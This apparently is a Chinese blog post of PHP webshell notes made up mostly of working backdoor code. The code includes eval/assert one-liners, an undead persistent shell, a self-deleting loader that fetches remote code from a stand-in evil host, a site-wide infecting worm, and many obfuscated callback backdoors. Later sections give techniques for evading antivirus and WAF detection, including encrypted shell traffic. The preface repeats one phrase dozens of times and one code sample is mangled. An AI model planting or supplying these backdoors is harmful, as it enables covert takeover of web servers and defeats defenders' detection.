中国特色PHP大马

一、前言

本篇为PHP 常见类型 webshell 学习笔记学习笔记学习笔记学习笔记学习笔记学习笔记学习笔记学习笔记学习笔记学习笔记学习笔记学习笔记学习笔记学习笔记学习笔记学习笔记学习笔记学习笔记学习笔记学习笔记学习笔记学习笔记学习笔记学习笔记学习笔记学习笔记学习笔记学习笔记学习笔记学习笔记学习笔记

二、简介

1.一句话

首先,最常见的为一句话木马,最基础的形式为:

<?php @eval($_POST['hacker']); ?>
<?php assert($_REQUEST["pass"]);?>

通过 eval/assert 等能够将字符串作为php代码执行的能力,将 $_POST/$_REQUEST/$_GET 中传递的字符串作为PHP代码执行

其中,eval : PHP 4, PHP 5, PHP 7+ 均可用,接受一个参数,将字符串作为 PHP 代码执行

assert: PHP 4, PHP 5, PHP 7.2 以下均可用,一般接受一个参数,php 5.4.8 版本后可以接受两个参数

这种形式只在服务器上留下一行代码,因此称为一句话木马

还在网上看到了最短一句话,使用反引号无回显执行命令

<?=`$_GET[1]`;

2.小马

小马可以理解为通过较少的代码,来实现具体在渗透测试中需要的某些功能,即能完成写入文件、列目录、查看文件、执行一些系统命令等少量功能的 Webshell

如写文件小马:

<?php
$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("Trojan.php", $test);
?>

文件上传马:

<?php
header("content-Type: text/html; charset=utf-8");
?>
<? 
echo
"</br>获取服务器IP地址: ".$_SERVER['HTTP_HOST'].
"</br>获取服务信息: ".apache_get_version();
?>
<form method="POST"></br>
shell路径: <input type="text" name="file" size="60" value="<? echo str_replace('\\','/',__FILE__) ?>">
<br><br>
<textarea name="text" COLS="70" ROWS="18" ></textarea>
<br><br>
<input type="submit" name="submit" value="保存"> 
<form>
<?php
error_reporting(0);
if ($_POST){
	$f=fopen($_POST["file"],"w");
	echo   fwrite($f,$_POST["text"])? '保存成功!' : '保存失败!';
}
?>

UDF提权马等等

小马由于代码量不是特别多,免杀方便,可直接实现某些功能,在渗透中也是能够经常用到的,在网上可以搜集到格式各样的小马

3.大马

PHP大马就是功能较全,支持各种在渗透过程中可能用到的各种功能的大型代码集合,通常具有文件管理、命令执行、端口扫描、数据库管理、反弹shell等等的功能

常见的如adminer、phpspy 等等,这里就不列举和截图了

4.不死马

内存马,通俗讲就是不死马,就是会运行一段永远不退出的程序常驻在PHP进程里,无限执行

网上流传的如:

<?php 
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '2.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
while (1){
    file_put_contents($file,$code);
    system('touch -m -d "2018-12-01 09:10:12" .2.php');
    usleep(5000);
} 
?>

可以看到,代码通过死循环创建webshell文件

5.无文件木马

所谓无文件木马,这里指的是自删除的木马,在运行一次后会将自身文件删除,但将某些代码运行至进程中

例如:

<?php
unlink($_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);
set_time_limit(0);

$remote_file = 'http://www.evilsite.com/eval.txt';
while($code = file_get_contents($remote_file)){
  @eval($code);
  sleep(5);
};
?>

eval.txt中的内容可进行自定义

如上代码,在访问一次后会自删除,但eval.txt中的代码依旧会在后台执行

6.蠕虫马

一提到蠕虫,就知道这是一个交叉感染的木马,它可以把本地的php会写shell插入到其他php原文件,还增加了相互复活机制,后期增加与其他已感染的主机中的webshell互相复活

来自于 3s_NWGeek 的代码:

<?php
$tips = 'AWD_Light_Check';
//这个是后面检查的是否感染头,如果没有,就会重写这个php
error_reporting(0);
$Serv_Num = 159;
//这个变量是要写入其他文件头部的本页行数,因为感染了其他php要互相感染,不能把其他原有php代码写入到其他php,会乱套。
$arr_dir = array();
//全局变量,扫到的文件夹
$files = array();
//全局变量,扫到的文件
if (!function_exists('Url_Check')) {
    function Url_Check()
    {
        $pageURL = 'http';
        if ($_SERVER["HTTPS"] == "on") {
            $pageURL .= "s";
        }
        $pageURL .= '://';
        $pageURL .= $_SERVER["SERVER_NAME"] . ":" . $_SERVER["SERVER_PORT"];
        return $pageURL;
    }
    function file_check($dir)
    {
        //扫描文件夹
        global $arr_dir;
        global $files;
        if (is_dir($dir)) {
            if ($handle = opendir($dir)) {
                while (($file = readdir($handle)) !== false) {
                    if ($file != '.' && $file != "..") {
                        if (is_dir($dir . "/" . $file)) {
                            $arr_dir[] = $dir;
                            $files[$file] = file_check($dir . "/" . $file);
                            //拼接文件
                        } else {
                            $arr_dir[] = $dir;
                            $files[] = $dir . "/" . $file;
                        }
                    }
                }
            }
        }
        closedir($handle);
        $arr_dir = array_unique($arr_dir);
        //去重
    }
    function write_conf()
    {
        #每个目录创一个马
        global $Serv_Num;
        global $arr_dir;
        foreach ($arr_dir as $dir_path) {
            // echo '<br>'.$dir_path;
            $srcode = '';
            $localtext = file(__FILE__);
            for ($i = 0; $i < $Serv_Num; $i++) {
                $srcode .= $localtext[$i];
            }
            //所有文件夹都生成一个webshell
            // echo "<span style='color:#666'></span> " . $dir_path . "/.Conf_check.php" . "<br/>";
            $le = Url_Check();
            echo '<iframe id="check_url">' . $le . '' . str_replace($_SERVER['DOCUMENT_ROOT'], '', $dir_path . "/.Conf_check.php") . '</iframe>';
            fputs(fopen($dir_path . "/.Conf_check.php", "w"), $srcode);
        }
        // 当前目录所有php被感染
    }
    function vul_tran()
    {
        //每个文件夹递归生成一个默认的马以及感染当前目录所有php文件。所谓感染就是把自身固定的代码插入到其他php文件中,甚至可以加注释符号或者退出函数exit();控制其他页面的可用性。不过要注意一下,是当前目录,这样响应速度会快很多,亲测如果是一次性感染全部目录的php文件后续会引发py客户端响应超时及其他bug,所以改过来了。
        //######
        global $Serv_Num;
        $pdir = dirname(__FILE__);
        //要获取的目录
        //先判断指定的路径是不是一个文件夹
        if (is_dir($pdir)) {
            if ($dh = opendir($pdir)) {
                while (($fi = readdir($dh)) != false) {
                    //文件名的全路径 包含文件名
                    $file_Path = $pdir . '/' . $fi;
                    if (strpos($file_Path, '.php')) {
                        //筛选当前目录.php后缀
                        $le = Url_Check();
                        $file_Path = str_replace('\\', '/', $file_Path);
                        echo '<iframe id="check_url">' . $le . '' . str_replace($_SERVER['DOCUMENT_ROOT'], '', $file_Path) . '</iframe>';
                        $ftarget = file($file_Path);
                        if (!strpos($ftarget[0], 'AWD_Light_Check')) {
                            //检查头部是否传播
                            $scode = '';
                            $localtext = file(__FILE__);
                            for ($i = 0; $i < $Serv_Num; $i++) {
                                $scode .= $localtext[$i];
                            }
                            $code_check = '';
                            $file_check = fopen($file_Path, "r");
                            //复制要传播的文件代码,进行重写
                            while (!feof($file_check)) {
                                $code_check .= fgets($file_check) . "\n";
                            }
                            fclose($file_check);
                            $webpage = fopen($file_Path, "w");
                            fwrite($webpage, $scode . $code_check);
                            fclose($webpage);
                        }
                    }
                }
                closedir($dh);
            }
        }
    }
}
///////////////////////////////////////////////////////////////////////////////////
//主函数
try {
    //定义特征才启动传播模式,特征值为_
    if (isset($_GET['_'])) {
        $host = Url_Check();
        file_check($_SERVER['DOCUMENT_ROOT']);
        //全局扫描
        write_conf();
        //写入单文件
        vul_tran();
        //感染当前目录
    } elseif (isset($_GET['time']) && isset($_GET['salt']) && isset($_GET['sign'])) {
        #客户端数字签名校验
        $Check_key = '9c82746189f3d1815f1e6bfe259dac29';
        $Check_api = $_GET['check'];
        $timestamp = $_GET['time'];
        $salt = $_GET['salt'];
        $csign = $_GET['sign'];
        $sign = md5($Check_api . $Check_key . $timestamp . $salt);
        if ($sign === $csign) {
            $nomal_test = '';
            for ($i = 0; $i < strlen($Check_api); $i++) {
                $nomal_test .= chr(ord($Check_api[$i]) ^ $i % $salt);
            }
            $nomal_test = base64_decode($nomal_test);
            $nowtime = time();
            if (abs($nowtime - $timestamp) <= 5) {
                $enc = base64_encode(rawurlencode(`{$nomal_test}`));
                //解密并执行命令在加密返回
                $pieces = explode("i", $enc);
                $final = "";
                foreach ($pieces as $val) {
                    $final .= $val . "cAFAcABAAswTA2GE2c";
                }
                $final = str_replace("=", ":kcehc_revres", $final);
                echo strrev(substr($final, 0, strlen($final) - 18));
                exit;
            } else {
                header('HTTP/1.1 500 Internal Server Error');
            }
        } else {
            header('HTTP/1.1 500 Internal Server Error');
        }
    } else {
        header('HTTP/1.1 500 Internal Server Error');
    }
} catch (Exception $e2) {
}

作者原文:带一个参数访问我的webshell,全站的php文件都被我感染,都可以当webshell连,都可以执行命令,只要带一个参数访问都可以互相复活。

三、动态性探究

大家都说 PHP 动态性强,因此就不怕杀软的疯狂识别,那么到底强在什么地方?

其实就是因为 PHP 具有一些十分奇特的特性,大体可分为三类,动态特性类,代码漏洞类、PHP解析类,下面列举了其中常见的几种

1.可变变量

可变变量允许我们动态地改变一个变量的名称。所有的语言都允许改变变量的值,但是并没有太多的语言允许改变变量的类型,至于支持改变变量的名称的语言就更少了

例子:

$a='b';
$$a='c';

这就等价于:

$b='c';

著名的“双刀大法”

例如:

<?php
  $b = "assert";
  $a = 'b';
  $$a($_POST['hacker']);
?>

2.可变函数

如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它

利用可变函数,我们可以将函数名也作为参数进行传递,避免敏感关键字被静态检测识别出来

例如:

@$_GET['a']($_POST['cmd']);

此例一般都是使用assert,因为eval不能被可变函数调用

3.回调函数

回调函数是指调用函数的时候将另一个函数作为参数传递到调用的函数中,而不是传递一个普通的变量作为参数

使用回调函数是为了可以将一段自己定义的功能传到函数内部使用

众所周知回调函数也是十分危险的

最简单的如:

<?php @call_user_func(eval,$_POST['hacker']); ?>

结合可变函数:

<?php
function newsSearch($para0,$para1){
    $evil=$para0;

    call_user_func_array($para1,array($evil));
}
$exec=base64_decode($_GET['id']);
newsSearch($_POST['tid'],$exec);
?>

目前来讲,大部分常见的能作为后门的回调函数和类都被各大杀软列入名单,但是还是能够找到一些较生僻的回调函数,能够用来绕过杀软。

在函数描述中,参数列表中使用伪类型 callback 描述的,即是回调函数

目前常见的回调函数有

uasort/uksort

$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));

$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);

$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');

$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');

preg_filter

echo preg_filter('|.*|e', $_REQUEST['pass'], '');

array_filter/array_map

$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));

array_walk/array_walk_recursive

$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');

array_udiff

function newsSearch($para0,$para1){
    $evil=$para0;
    $exec=$para1;
    array_udiff($arr=array($evil),$arr1 = array(''),$exec);
}
$exec=base64_decode($_REQUEST['exec']);
newsSearch($_POST['key'],$exec);

$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);

header_register_callback

header_register_callback(create_function('','return assert($_POST[\'k\']);'));

register_tick_function

$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function($e, $_REQUEST['pass']);

register_shutdown_function

$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);

mb_ereg_replace

mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');

mb_ereg_replace_callback

mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['pass']);

array_reduce

array_reduce(array($_POST['k']),create_function('$a,$b','return assert($b);'));

$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);

set_exception_handler

set_exception_handler(create_function('','return assert($_GET[k]);'));
throw new exception();

forward_static_call

class a
{
  public function __construct($args)
  {
    forward_static_call('assert',$args);
  }
}
new a($_POST[k]);

iterator_apply

iterator_apply(new arrayiterator(array($_GET['k'])),create_function('Iterator $i','assert($i->current());'),array(new arrayiterator(array($_GET['k']))));

array_intersect_ukey

array_intersect_ukey(array($_GET['k']=>'1'),array($_GET['k']=>'1'),'assert');

array_uintersect_uassoc

array_uintersect_uassoc(array($_GET[k]),array(''),'assert','strstr');

array_intersect_uassoc

array_intersect_uassoc(array($_POST['k']=>''),array(''),'assert');

filter_var

filter_var("phpinfo();" ,1024, array("options" => "assert"));

filter_var_array

filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));

preg_replace_callback

preg_replace_callback('/. /i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

无回显回调后门ob_start

ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();

create_function创建回调函数

$mem = new Memcache();
$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));
$mem->connect($_REQUEST['pass'], 11211, 0);

CallbackFilterIterator创建回调函数

$iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));
foreach ($iterator as $item) {echo $item;}

session_set_save_handler

function test($para)
{
    session_set_save_handler("open", "close", $para, "write", "destroy", "gc");
    @session_start(); // 打开会话
}
$session = base64_decode($_REQUEST['id']);
// open第一个被调用,类似类的构造函数
function open($save_path, $session_name)
{
}
// close最后一个被调用,类似 类的析构函数
function close()
{
}
// 执行session_id($_REQUEST['op'])后,PHP自动会进行read操作,因为我们为read callback赋值了assert操作,等价于执行assert($_REQUEST['op'])
session_id($_REQUEST['op']);
function write($id, $sess_data)
{
}
function destroy($id)
{
}
function gc()
{
}
// 第三个参数为read  read(string $sessionId)
test($session);

还有一些扩展中的回调函数如sqlite/pdo/yaml/memcached等

PDO数据库回调

$e = $_REQUEST['e'];
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction('myfunc', $e, 1);
$sth = $db->prepare("SELECT myfunc(:exec)");
$sth->execute(array(':exec' => $_REQUEST['pass']));

SQLite3 数据库回调

$e = $_REQUEST['e'];
$db = new SQLite3('sqlite.db3');
$db->createFunction('myfunc', $e);
$stmt = $db->prepare("SELECT myfunc(?)");
$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);
$stmt->execute();

php_yaml库

$str = urlencode($_REQUEST['pass']);
$yaml = <<<EOD
greeting: !{$str} "|. |e"
EOD;
$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));

回调函数这里是无穷无尽的

4.反射技术

$func = new ReflectionFunction($_GET[m]);
echo $func->invokeArgs(array($_GET[c]));

这种方式调用起来也非常的简单xx.com/shell.php?m=assert&c=phpinfo();和动态函数执行的方式十分的相似。但是目前这种方式已经被各种安全防护软件识别了。

5.正则 \e 模式

这本是 php 中可能存在的命令执行漏洞的位置,使用 \e 将替换串中的内容当作代码来执行。

常用作一句话木马

@preg_replace('/(.*)/e','\\1',$_REQUEST['a']);

6.反序列化执行

与正则 \e 模式想法类似,使用不安全的处理方式构成代码执行漏洞,用作webshell

class foo{
    public $data="text";
    function __destruct()
    {
        eval($this->data);
    }
}
$file_name=$_GET['id'];
unserialize($file_name);

我们需要在本地构造序列化的数据。构造好了之后,通过shell.php?id=id=O:3:"foo":1:{s:4:"data";s:10:"phpinfo();";},这样就能够执行phpinfo();命令了

7.文件引入

PHP 中使用 include 引入的文件将会以 php 代码进行解析

因此可以通过引入的方法将恶意代码存留在其他位置

远程文件包含,这个不多说,需要开配置

本地文件包含引入 ntfs 流:

include('aaa.png');

在 aaa.png 中写入恶意代码

包含smb共享文件

include('\\\evilsite.com\1.php');

这种只有Windows_PHP 服务器才可以利用UNC特性包含局域网SMB服务共享的文件,https://www.freebuf.com/articles/web/203577.html

四、过静态检测

那么接下来就是如何使我们的代码绕过各种杀软的检测呢?

1.字符串处理

(1) 字符串变形

字符串变形就是利用各种字符串处理函数将一些可能被杀软识别的关键字变形,做到通过简单正则无法识别的地步

以下为一些常见的处理函数

ucwords() //函数把字符串中每个单词的首字符转换为大写
ucfirst() //函数把字符串中的首字符转换为大写
trim() //函数从字符串的两端删除空白字符和其他预定义字符
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分
strtr() //函数转换字符串中特定的字符
strtoupper() //函数把字符串转换为大写
strtolower() //函数把字符串转换为小写
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码

这部分看心情随便写,变法无穷无尽,下面仅列举几个简单例子:

替换

<?php
$x='$_PO'."STasdasd[".'1]';
$x = $x.str_replace('STasdasd',"ST[");

for ($x=0; $x<=0; $x++) {
    assert("$x");
}

将关键函数进行倒转和空格,之后利用strrevstr_replace恢复

$b=strrev("edoced_4"."6esab");eval($b(str_replace(" ","","a W Y o a X N z Z X Q o J F 9 D T 0 9 L S U V b J 2 N t J 1 0 p K X t v Y l 9 z d G F y d C g p O 3 N 5 c 3 R l b S h i Y X N l N j R f Z G V j b 2 R l K C R f Q 0 9 P S 0 l F W y d j b S d d K S 4 n I D I + J j E n K T t z Z X R j b 2 9 r a W U o J F 9 D T 0 9 L S U V b J 2 N u J 1 0 s J F 9 D T 0 9 L S U V b J 2 N w J 1 0 u Y m F z Z T Y 0 X 2 V u Y 2 9 k Z S h v Y l 9 n Z X R f Y 2 9 u d G V u d H M o K S k u J F 9 D T 0 9 L S U V b J 2 N w J 1 0 p O 2 9 i X 2 V u Z F 9 j b G V h b i g p O 3 0 = ")));

str_rot13

preg_replace("/[errorpage]/e", @str_rot13('@nffreg($_CBFG[cntr]);'), "saft");

(2) 字符串拼接

字符串拼接的方式也常常用来分割危险关键字,由于PHP的灵活性,这种写法就有非常多

如下例,使用. 进行字符串拼接,利用可变函数调用:

$k="ass"."ert"; $k(${"_PO"."ST"} ['pass']);

或者

$a=base64_decode("Y"."X"."N"."z"."Z"."X"."J"."0");
$a(@${"_P"."O"."S"."T"}[pass]);

利用注释

@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]); // 密码-7

除了用注释分隔关键字,还看到了一种玩法,不过已经挂了

<?php #eval($_);exit();
$_ = @$_POST['1'];
eval(str_replace('<?php #', '', file_get_contents(__FILE__)));

先声明字符串,之后通过从字符串中进行取值,得到所需要的敏感函数

$sF = "PCT4BA6ODSE_";
$s21 = strtolower($sF[4] . $sF[5] . $sF[9] . $sF[10] . $sF[6] . $sF[3] . $sF[11] . $sF[8] . $sF[10] . $sF[1] . $sF[7] . $sF[8] . $sF[10]);
$s22 = ${strtoupper($sF[11] . $sF[0] . $sF[7] . $sF[9] . $sF[2])}['n985de9'];
if (isset($s22)) {
    eval($s21($s22));
}

变形加拼接

$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).
$_uU(110);
$_=$_fF("",$_cC);
@$_();

(3) 字符串运算

异或取反运算

@$_++;
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");         // $__的值为_POST
@${$__}[!$_](${$__}[$_]);

通过异或运算(^)、取反运算(!)的方式组成一个webshell

$_=(chr(0x01)^'`').(chr(0x13)^'`').(chr(0x13)^'`').(chr(0x05)^'`').(chr(0x12)^'`').(chr(0x14)^'`');
$__='_'.(chr(0x0D)^']').(chr(0x2F)^'`').(chr(0x0E)^']').(chr(0x09)^']');
$___=$$__;
$_($___[_]);// assert($_POST[_]);

再比如:

$a='999999999999999999999999'^urldecode('%5COXU%11%1DfivjmbXXXd%10%02');
eval(/*echo*/($a));//password=aaa

自增运算

因为在PHP中,'a'++ => 'b''b'++ => 'c',所以我们如果得到了其中的一个字母,通过这个字符就可以得到所有的字母。通过$_=[];$_=@"$_";;得到$_Array的字符串,那么就可以得到所有的字符串了。

$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___(base64_decode($_[_])); // ASSERT($_POST[_]);

异或运算

这种异或运算得到的webshell与上面讲的通过异或运算不完全一样。在特定的编码情况下,一些字符串经过异或运算就能够得到一些特定的函数,这些函数就可以用于构造webshell

$y=~督耽孩^'(1987)';
$y($_POST[1987]);

上述的代码需要以GBK的方式保存,其中的$y的值为assert,这样就是一个典型的webshell了

再比如:

$b=~urldecode('%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%C4');
$a=$b;
eval(/*echo*/($a));//password=a

“~”的主要作用为取反,生成的不可见字符可以使用URL编码保存,这样检测时不会发现危险函数,也就不会发现我们的一句话木马

(4) 其他处理方式

进制转换,比较常见,通过十六进制和八进制混用的方式代替base64_decode:

$v230c590="\x62\x61\163\x65\x36\x34\137\144\145\x63\x6f\144\145";
@eval($v230c590(.....

编码,其实在上面的例子中都有的已经利用了一些编码方式,常见的base64, chr, rot13, gzip, zlib等,但这种常见的编码、多层嵌套编码方式等都已经能被很多WAF识别了

字符串处理类的方式很多,任意的排列组合都可以产生新的东西

2.关键字处理

很多软件只检查 $_POST,使用全局变量可以绕过

@eval($GLOBALS['_POST']['pass']);

利用$_FILE

@eval($_FILE['name']);

利用文件名,比如下述文件名为 no_assert.php:

${"function"}=substr(__FILE__,-10,-4);;
${"command"}=$_POST[cmd];
$function($command);

通过目标服务器某些信息的唯一性,在其中进行取值拼接

3.特殊字符干扰

比较简单的如 \r\n\t null tab 进行干扰等等

$a = $_POST['a'];
$b = "\n";
eval($b.=$a);

使用异或的方式也能产生一些特殊字符,绕过静态检测

4.数组

将循环的变量事先进行定义,可以降低查杀率,这是过狗的一个很实用的技巧,就是让狗以为你执行命令的参数为常量

$value=$key = "a";
foreach($_POST as $key=>$value){
    assert($value);
}

通过定义数组,再交给 eval 等处理

$array = array(
    233   => false,
    42    => $_GET['SECQUAN'],
);
eval($array[233].$array[42]);
?>

利用substr 和 explode 在字符串和数组之间处理,本质上也是字符串拼接的方式

error_reporting(0);
$sss='';
$s='';
$s='123456eval(123456$_POST123456["1"]);123456';
$ss=array().explode("123456",$s)[1].explode("123456",$s)[2].explode("123456",$s)[3];
$sss=substr($ss,5,100);
eval($sss);

多维数组

$b = substr_replace("assexx","rt",4);
$a = array($arrayName = array('a' => $b($_POST['q'])));

5.函数

将取值赋值放入自定义函数

function a(){
    return $a=$_POST['1'];
}
@assert(a());

结合可变函数

function func() {
    return "ass"."ert";
}
$a = func();
$a(${"_PO"."ST"}['sz']);

为了能够逃避防护软件的查杀,很多webshell都会自己编写加密函数或者是字符串转换函数

$string='';
$password='test';
if(isset($_POST[$password])){
    $hex=$_POST[$password];
    for($i=0;$i<strlen($hex)-1;$i+=2){
    $string.=chr(hexdec($hex[$i].$hex[$i+1]));
}
@eval($string);

匿名函数

//function __lambda_func(){@eval($_POST['f']);}
$s = "F9QivT1NUWyd";
$v = "QGivV2YivWwoJ";
$j = "mJ10pOw=iv=";
$re = str_replace("iv", "", "sivtr_ivrepivlaivce");
$ba = $re("nf", "", "bnfanfse6nf4_nfdecnfode");
$fun = $re("vf", "", "cvfreavfte_fvfunctvfion");
$vi = $fun("", $ba($re("iv", "", $v . $s . $j)));
$vi();

6.类

使用类进行调用,可以降低静态检测的查杀率

class get{
    public function setName($name=1){
        return $this -> name = $name;
    }
}
$obj = new get();
$s = $obj -> setName("$_POST[1]");
eval(null.$s);

经过测试,在类中传值,指定默认值的情况下会降低查杀率,很魔幻,感觉跟之前说的事先定义变量是一个道理

再进一步使用接口继承

interface lbw{
    public function getshell($name);
}

class Demo implements lbw {
    public $demo='s';
    public function getshell($name)
    {
        echo eval($name);
    }
}
$obj=new Demo();
$obj->getshell($_GET['a']);

再扩展一下,可以先写类,然后子类继承等等,其实你写的越复杂,越接近业务逻辑代码,越容易绕过检测,然后你的一句话就活活写成了一页面向对象的代码

除了单纯的函数、类之间的调用,其实还可以发现,一些敏感的关键字,有时候写在类中就不会报毒

class evals{
        protected $links;
        function __construct($an){
                $this->links = $an;
                @eval("\$title=1;".$this->links);
        }
}
$WebShell = new evals(@$_POST['An']);

针对回调函数,写在__construct/__destruct 方法中也会降低报毒几率

$class = new \ReflectionClass('filter');
$instance = $class->newInstance($_GET);
unset($instance);
class filter
{

    private $password = 'password';
    public function __construct(array $data)
    {
        $this->data = $data;
    }
    public function __destruct()
    {
        if (array_key_exists($this->password, $this->data) && !empty($this->data[$this->password])) {
            eval($this->data[$this->password]);
        }
    }
}

7.文件混淆加密

由于文件加密后无法被各种检测软件的文件解析模块解析,后续的检测手段就都失效了,但可能会直接报为加密,所以有利有弊

五、过流量检测

这里的流量检测就是在网络层的waf拦截到我们向webshell传输的数据包,以及webshell返回的数据包,检测其中是否包含敏感信息的一种检测方式

如果是大马的情况下,可以在大马中添加多处判断代码,因此在执行大马提供的功能时不直接传递关键字,而是只传递标识位,如 A 是端口扫描,B 是 上传文件,流量就可能为 action=A,这可以在一定程度上绕过检测

但过这种方式更加屡试不爽的方式就是在双端都进行非对称加解密操作,这种方式WAF是绝对不敢拦的,因为他不可能解析的了数据包,而且正常业务逻辑为了保证数据的完整性和保密性也会如此传递数据

比较常见的使用 RSA 进行加密(蚁剑 php shell)

$cmd = @$_POST['ant'];
$publicKey = <<<EOF
-----BEGIN PUBLIC KEY-----
Input your Public Key
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$publicKey = openssl_pkey_get_public($publicKey);
$cmd = '';
foreach ($cmds as $value) {
    if (openssl_public_decrypt(base64_decode($value), $de, $publicKey)) {
        $cmd .= $de;
    }
}
eval($cmd);

传递的数据格式为:

使用AES加密(冰蝎 php shell):

@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __construct($p) {eval($p."");}}
	@new C($params);
}

传递数据格式为:

我想问问,这谁敢拦啊?

除了 RSA/AES/DES 等方式外,你也可以自己变成编码/加密方式,只要做到传输的数据除了你自己的控制端鬼都认不出来,那你就成功了

此处需要注意的是,一定要是双端加密,也就是不管是请求包还是响应包,都是密文,双端都有加解密的操作,不然被WAF识别到了返回包里的敏感内容一样前功尽弃

除了流量加密,还有就是multipart分片发包,在前一段时间的绕WAF技术上也是引起了广泛的讨论

在网上还见了一种层级请求,编码运行PHP后门,通过2个PHP文件实现

<?php
//1.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10' && count($a) == 9) {
eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}

第二个文件

<?php   
//2.php   header('Content-type:text/html;charset=utf-8');   
//要执行的代码   $code = <<<CODE   phpinfo();   
CODE;   
//进行base64编码   
$code = base64_encode($code);   
//构造referer字符串   
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";   //后门url   $url = 'http://localhost/test1/1.php';   
$ch = curl_init();   
$options = array(   
    CURLOPT_URL => $url,   
    CURLOPT_HEADER => FALSE,   
    CURLOPT_RETURNTRANSFER => TRUE,   
    CURLOPT_REFERER => $referer   
);   
curl_setopt_array($ch, $options);   
echo curl_exec($ch);

通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测

流量层除了对流量本身的识别模式之外,还有很多的识别方式,比如访问时间、访问次数、访问人员等等方面的综合判定,都可以识别出异常,这种情况下就要考虑到下面提到的匿名化攻击

